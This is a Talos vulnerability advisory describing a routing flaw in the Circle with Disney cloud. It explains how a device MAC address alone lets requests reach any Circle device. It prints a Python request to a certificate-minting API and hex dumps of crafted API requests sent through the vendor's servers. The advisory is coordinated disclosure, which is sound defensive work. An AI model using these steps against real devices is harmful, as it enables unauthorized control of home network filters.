Talos Vulnerability Report

TALOS-2017-0437

Circle with Disney Token Routing Vulnerability

October 31, 2017
CVE Number

CVE-2017-12085

Summary

An exploitable routing vulnerability exists in the Circle with Disney cloud infrastructure. A specially crafted packet can make the Circle cloud route a packet to any arbitrary Circle device. An attacker needs network connectivity to the Internet to trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Details

The apid binary is a web server listening on the Disney Circle, that serves as the main API for user functionality. Through the apid server, all configurations and queries are made from the ‘Circle Home’ application from the administrator’s phone. This is done via meetcircle.co domain servers, that essentially act as routers, piping data from a phone to the correct Circle device.

By default, when the “Circle Home” application wants to do something as simple as query for the status of the Circle, a connection is made to remote.meetcircle.co:45671. It should be quickly noted that the remote circle servers are now seperated by region. For instance if you try to talk to a Circle in Europe, you’ll get HTTP redirected to “remote-eu-central-1.meetcircle.co”. Regardless, this is done with an SSL certificate that is given to the phone by another meetcircle server that will be examined shortly. After the SSL connection is made, the phone sends out it’s HTTP API request, which then gets piped to the correct device. An example of this connection from the phone’s side looks like this: [.] Listening on 192.168.1.15:45671 [$.$] local:ssl|remote:ssl [>.>] Received Connection from (‘192.168.1.9’, 39652) (‘ECDHE-RSA-AES128-GCM-SHA256’, ‘TLSv1/SSLv3’, 128) (‘45.79.169.242’, 45671) 0000 47 45 54 20 2f 61 70 69 2f 51 55 45 52 59 2f 6f GET /api/QUERY/o 0010 76 65 72 61 6c 6c 3f 61 70 69 3d 31 2e 30 26 74 verall?api=1.0& 0020 6f 6b 65 6e 3d token= [...] 0050 35 33 20 48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 53 HTTP/1.1..Use 0060 72 2d 41 67 65 6e 74 3a 20 44 61 6c 76 69 6b 2f r-Agent: Dalvik/ 0070 32 2e 31 2e 30 20 28 4c 69 6e 75 78 3b 20 55 3b 2.1.0 (Linux; U; 0080 20 41 6e 64 72 6f 69 64 20 37 2e 30 3b 20 63 69 Android 7.0; ci 0090 72 63 6c 65 5f 74 65 73 74 73 20 42 75 69 6c 64 rcle_tests Build 00a0 2f 4e 52 44 39 30 4d 29 0d 0a 48 6f 73 74 3a 20 /NRD90M)..Host: 00b0 72 65 6d 6f 74 65 2e 6d 65 65 74 63 69 72 63 6c remote.meetcircl 00c0 65 2e 63 6f 3a 34 35 36 37 31 0d 0a 43 6f 6e 6e e.co:45671..Conn 00d0 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 ection: Keep-Ali 00e0 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 ve..Accept-Encod 00f0 69 6e 67 3a 20 67 7a 69 70 0d 0a 0d 0a ing: gzip.... [o.o] Sent 253 bytes to remote (remote.meetcircle.co:45671)

0000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 6b 0d 	HTTP/1.1 200 Ok.
0010 0a 53 65 72 76 65 72 3a 20 61 70 69 64 20 31 2e 	.Server: apid 1.
0020 30 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 39 	0..Date: Wed, 09
0030 20 41 75 67 20 32 30 31 37 20 32 33 3a 32 38 3a 	Aug 2017 23:28:
0040 34 39 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 	49 GMT..Vary: Ac
0050 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 2c 20 4f 	cept-Encoding, O
0060 72 69 67 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 	rigin..Content-T
0070 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 	ype: application
0080 2f 6a 73 6f 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 	/json..Content-L
0090 65 6e 67 74 68 3a 20 33 35 30 0d 0a 43 6f 6e 6e 	ength: 350..Conn
00a0 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 	ection: close...
00b0 0a 7b 0a 22 72 65 73 75 6c 74 22 3a 22 73 75 63 	.{."result":"suc
00c0 63 65 73 73 22 2c 0a 22 6f 76 65 72 61 6c 6c 22	 cess",."overall"
00d0 3a 7b 0a 22 63 69 72 63 6c 65 4e 61 6d 65 22 3a 	:{."circleName":
00e0 6e 75 6c 6c 2c 0a 22 6d 6f 64 65 22 3a 22 46 69 	null,."mode":"Fi

It should be noted that this is not the same as it appears on the Circle’s end, as there is an encapsulating backdoor protocol as described in TALOS-2017-0436.

Back on track though, it becomes evident that there was nothing that evident being used for the decision of “Where do I send this phone’s request”. That is, the question still remains of how the cloud servers were routing the API requests. After examining the application itself, some more information was gathered.

Let’s take a look at how the cloud servers route the API request to the Circle device. Within the data directory of the application, there is a Base 64 encoded PKCS12 blob living inside of a database that was being used during the connection. A dump of this cert is listed below (it has an empty password):

root@<(^_^)>:  openssl pkcs12 -in reroute.pkcs12 
Enter Import Password:
MAC verified OK
Bag Attributes
[...]
    localKeyID: 63 0D C6 B8 2C FF FD 6F CF B0 73 71 EC FD A9 5A F4 7A EB 25 
subject=/C=US/ST=OR/L=Portland/O=Circle/OU=8CE2DAA12345-	eab5bdcac8123459f69d175546abcdef_CIRCLEHOME/CN=vpn.meetcircle.co
issuer=/C=US/ST=OR/O=Circle/CN=Circle Go Intermediate Authority
-----BEGIN CERTIFICATE-----
[…]
-----END CERTIFICATE-----
Bag Attributes
    friendlyName: Circle
subject=/C=US/ST=OR/O=Circle/CN=Circle Go Intermediate Authority
issuer=/C=US/ST=OR/L=Portland/O=Circle/CN=Circle Go Root Certificate Authority
-----BEGIN CERTIFICATE-----
MIIFpTCCA42gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwbTE=[...]

This is most definitely atypical for a secure connection, just looking at the SSL attributes: OU=8CE2DAA12345-eab5bdcac8123459f69d175546abcdef_CIRCLEHOME/CN=vpn.meetcircle.co Whereby the Mac address and appid of our circle device are included inside of the certificate, which means that there is some way to generate an SSL cert that is signed by the Circle Go Root Authority. As it turns out, there is an API on a Circle Server that can generate these certificates:

IP="vpncc.meetcircle.co"
data= {
	"gotoken":"12341234-<(^_^)>-lol-abcd-1234",
	"circleid":"8CE2DA1234AB",
	"devid":"eab5bdcac8123459f69d175546abcdef_CIRCLEHOME",
     	"host":"vpn.meetcircle.co"
}

r = requests.post("http://%s:8089/api/CERT/clientCert?circleid=%s&gotoken=%s&devid=	%s&host=%s"%(IP,circleid,gotoken,devid,host)

The only fields that are really dependent on each other are the gotoken and circleid fields. There seems to be an algorithm for generating the gotoken from the circleid on the servers, as if one doesn’t send a matching pair, no certificate is returned. Interestingly, we could generate a cert with anything inside the ‘devid’ and ‘host’ fields, and still get it signed by the Circle Go Root Authority.

After testing and generating a certificate with our own credentials, we were able to successfully communicate with our Circle device through the cloud infrastructure. Upon then just generating a random SSL certificate and sending the same request to remote.meetcircle.co, we were still able to talk with our Circle device. Which brings us back to that initial packet dump that was sent:

0000 47 45 54 20 2f 61 70 69 2f 51 55 45 52 59 2f 6f 	GET /api/QUERY/o
0010 76 65 72 61 6c 6c 3f 61 70 69 3d 31 2e 30 26 74 	verall?api=1.0&
0020 6f 6b 65 6e 3d  <redacted>				token=<redacted>
[...]
0050 35 33 20 48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 53  HTTP/1.1..Use
0060 72 2d 41 67 65 6e 74 3a 20 44 61 6c 76 69 6b 2f 	r-Agent: Dalvik/
0070 32 2e 31 2e 30 20 28 4c 69 6e 75 78 3b 20 55 3b	 2.1.0 (Linux; U;
0080 20 41 6e 64 72 6f 69 64 20 37 2e 30 3b 20 63 69 	Android 7.0; ci
0090 72 63 6c 65 5f 74 65 73 74 73 20 42 75 69 6c 64	 rcle_tests Build
00a0 2f 4e 52 44 39 30 4d 29 0d 0a 48 6f 73 74 3a 20 	/NRD90M)..Host: 
00b0 72 65 6d 6f 74 65 2e 6d 65 65 74 63 69 72 63 6c 	remote.meetcircl
00c0 65 2e 63 6f 3a 34 35 36 37 31 0d 0a 43 6f 6e 6e 	e.co:45671..Conn
00d0 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 	ection: Keep-Ali
00e0 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 	ve..Accept-Encod
00f0 69 6e 67 3a 20 67 7a 69 70 0d 0a 0d 0a 		ing: gzip....
[o.o] Sent 253 bytes to remote (remote.meetcircle.co:45671)

The only thing that is unique to this request is the token that is provided for authentication. But once again, if it actually does rely on the full token, then this would not be exploitable, as the token format is as such:

<Circle MAC>-<Random Hash (srand(timeOfCreation))>-<Time of Token Generation> 
# e.g. (total len == 0x2d)
'8CE2DAABCDEF-BoopIDoopyHK6lol-20170807.161453'

There’s not much of a chance of brute forcing this token, but only the MAC is used for routing, thus allowing us to communicate with any device. The following API call was made towards the remote.meetcircle.co host:

0000 47 45 54 20 2f 61 70 69 2f 50 41 53 53 43 4f 44 	GET /api/PASSCOD
0010 45 2f 73 6d 73 3f 61 70 69 3d 31 2e 30 26 74 6f 	E/sms?api=1.0&to
0020 6b 65 6e 3d 		<redacted>			            ken=<CircleMAC>
0030 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 	HTTP/1.1..Host:
0040 20 72 65 6d 6f 74 65 2e 6d 65 65 74 63 69 72 63 	remote.meetcirc
0050 6c 65 2e 63 6f 3a 34 35 36 37 31 0d 0a 43 6f 6e 	le.co:45671..Con
0060 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 	nection: keep-al
0070 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 	ive..Accept-Enco
0080 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 	ding: gzip, defl
0090 61 74 65 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 	ate..Accept: */*
00a0 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 70 79 	..User-Agent: py
00b0 74 68 6f 6e 2d 72 65 71 75 65 73 74 73 2f 32 2e 	thon-requests/2.
00c0 31 37 2e 33 0d 0a 0d 0a 0d 0a 17.3......			17.3......
[o.o] Sent 202 bytes to remote (45.79.169.242:45671)

The following reply was received:

0000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 6b 0d HTTP/1.1 200 Ok.
0010 0a 53 65 72 76 65 72 3a 20 61 70 69 64 20 31 2e .Server: apid 1.
0020 30 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 31 30 0..Date: Thu, 10
0030 20 41 75 67 20 32 30 31 37 20 31 36 3a 32 39 3a Aug 2017 16:29:
0040 32 33 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 23 GMT..Vary: Ac
0050 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 2c 20 4f cept-Encoding, O
0060 72 69 67 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 rigin..Content-T
0070 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e ype: application
0080 2f 6a 73 6f 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c /json..Content-L
0090 65 6e 67 74 68 3a 20 36 38 0d 0a 43 6f 6e 6e 65 ength: 68..Conne
00a0 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a ction: close....
00b0 7b 0a 22 72 65 73 75 6c 74 22 3a 22 66 61 69 6c {."result":"fail
00c0 22 2c 0a 22 65 72 72 6f 72 22 3a 22 73 6d 73 20 ",."error":"sms 
00d0 72 65 71 75 65 73 74 20 6e 6f 74 20 73 65 6e 74 request not sent
00e0 3a 20 77 69 66 69 20 6e 6f 74 20 70 61 69 72 65 : wifi not paire
00f0 64 22 0a 7d d".}
[o.o] Sent 244 bytes to local (192.168.1.15:45671)

It must be restated here that this is through a reverse SSL tunnel on the Circle’s side, one that is initiated by the APID daemon when a UDP beacon gets a response from the remote.meetcircle.co domain, meaning that as long as UDP access is allowed outbound from a network, the meetcircle.co servers can talk with the device.

Thus, in summary, all that is needed to connect to the APID daemon on any Disney Circle in the world, in any network, as long as it has UDP outbound access, is with a Mac Address of the device.

Timeline

2017-09-12 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Lilith (>_>) Wyatt and Claudio Bozzato of Cisco Talos.